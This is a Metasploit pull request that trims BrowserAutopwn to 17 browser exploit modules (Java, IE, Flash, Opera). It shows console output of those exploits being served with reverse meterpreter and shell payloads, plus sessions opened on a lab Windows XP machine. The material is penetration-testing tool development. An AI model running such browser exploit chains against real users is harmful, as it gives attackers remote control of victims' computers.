rapid7/metasploit-framework — pull request #2634 by jvazquez-r7 (2013-11-12 18:44:08+00:00)
Title: Reduce number of modules available on BrowserAutopwn

List reduced to 17 modules:

```
msf auxiliary(browser_autopwn) > rexploit
[*] Reloading module...
[*] Auxiliary module execution completed

[*] Setup
[*] Obfuscating initial javascript 2013-11-12 12:33:12 -0600
[*] Done in 1.037251 seconds

[*] Starting exploit modules on host 192.168.172.1...
[*] ---

msf auxiliary(browser_autopwn) > [*] Starting exploit multi/browser/java_atomicreferencearray with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/NOnWoopyH
[*] Server started.
[*] Starting exploit multi/browser/java_jre17_jmxbean with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/TrgIFKGRbHg
[*] Server started.
[*] Starting exploit multi/browser/java_jre17_provider_skeleton with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/RNryXHIBpy
[*] Server started.
[*] Starting exploit multi/browser/java_jre17_reflection_types with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/cWkELkiz
[*] Server started.
[*] Starting exploit multi/browser/java_rhino with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/ByuPks
[*] Server started.
[*] Starting exploit multi/browser/java_verifier_field_access with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/mNzjIIBKZ
[*] Server started.
[*] Starting exploit multi/browser/opera_configoverwrite with payload generic/shell_reverse_tcp
[*] Using URL: http://192.168.172.1:8080/WIVtsl
[*] Server started.
[*] Starting exploit windows/browser/adobe_flash_mp4_cprt with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/BrRIp
[*] Server started.
[*] Starting exploit windows/browser/adobe_flash_rtmp with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/lRKPyYTKG
[*] Server started.
[*] Starting exploit windows/browser/ie_cgenericelement_uaf with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/ycnUkGouizWN
[*] Server started.
[*] Starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/tNPPusP
[*] Server started.
[*] Starting exploit windows/browser/ie_execcommand_uaf with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/EZuZnruoOdWv
[*] Server started.
[*] Starting exploit windows/browser/mozilla_nstreerange with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/rfFuEe
[*] Server started.
[*] Starting exploit windows/browser/ms12_004_midi with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/boVLVVcAMm
[*] Server started.
[*] Starting exploit windows/browser/ms13_037_svg_dashstyle with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/imIljc
[*] Server started.
[*] Starting exploit windows/browser/ms13_080_cdisplaypointer with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/TmgRiG
[*] Server started.
[*] Starting exploit windows/browser/msxml_get_definition_code_exec with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.172.1:8080/ZZEvkeGhkZA
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on 192.168.172.1:3333
[*] Starting the payload handler...
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse handler on 192.168.172.1:6666
[*] Starting the payload handler...
[*] Started reverse handler on 192.168.172.1:7777
[*] Starting the payload handler...

[*] --- Done, found 17 exploit modules
```

Still getting sessions according to test on xpsp3 / ie8 / java 6 old relsease:

```
msf auxiliary(browser_autopwn) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java Administrator @ juan-c0de875735 192.168.172.1:7777 -> 192.168.172.244:1114 (192.168.172.244)
2 meterpreter x86/win32 JUAN-C0DE875735\Administrator @ JUAN-C0DE875735 192.168.172.1:3333 -> 192.168.172.244:1128 (192.168.172.244)
```

The list of modules is build based on recent threats:

http://contagiodump.blogspot.com/2010/06/overview-of-exploit-packs-update.html
http://www.deependresearch.org/2012/11/common-exploit-kits-2012-poster.html

List of modules:

```
exploits/multi/browser/java_atomicreferencearray.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/multi/browser/java_jre17_jmxbean.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/multi/browser/java_jre17_provider_skeleton.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/multi/browser/java_jre17_reflection_types.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/multi/browser/java_rhino.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/multi/browser/java_verifier_field_access.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/multi/browser/opera_configoverwrite.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/adobe_flash_mp4_cprt.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/adobe_flash_rtmp.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/ie_cgenericelement_uaf.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/ie_createobject.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/ie_execcommand_uaf.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/mozilla_nstreerange.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/ms12_004_midi.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/ms13_037_svg_dashstyle.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/ms13_080_cdisplaypointer.rb: include Msf::Exploit::Remote::BrowserAutopwn
exploits/windows/browser/msxml_get_definition_code_exec.rb: include Msf::Exploit::Remote::BrowserAutopwn
```

Sure the list isn't perfect, but hope is better than the current list of sixty and other modules, which is an huge list. Additions / Deletions are welcome of course :)